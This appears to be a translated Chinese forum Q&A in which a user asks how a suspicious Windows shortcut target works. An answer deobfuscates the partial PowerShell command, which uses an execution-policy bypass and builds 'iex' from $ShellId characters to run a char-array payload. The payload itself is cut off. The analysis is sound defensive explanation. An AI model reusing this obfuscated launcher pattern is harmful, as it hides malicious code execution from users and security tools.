我下载了一个文件,几乎没有三思而后行,但是(快捷方式的)目标引起了我的注意:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
毫无疑问,这里发生了一些可疑的事情。我了解前三个参数,但是我无法弄清楚的是,这样的有效负载代码将如何在基本的快捷方式中起作用?
最佳答案
我的猜测是,它与
让我们分割一下这段代码:
( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
$ShellId
是内置的Powershell变量: >$ShellId
Microsoft.PowerShell
因此
( $shelliD[1]+$SHeLlID[13]+'x')
转换为iex
(= Invoke-Expression
)其余代码是
([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
。我猜测char数组包含ascii字符。如果是这样,我们可以将其转换为:$aspx =
概要:
powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy ByPass . iex "$aspx = ...."
因此,它将在最小化的Powershell窗口中调用以
$aspx =
开头的代码,而不会发出警告或提示。也许代码通过了这些obfuscation methods之一。
希望能有所帮助。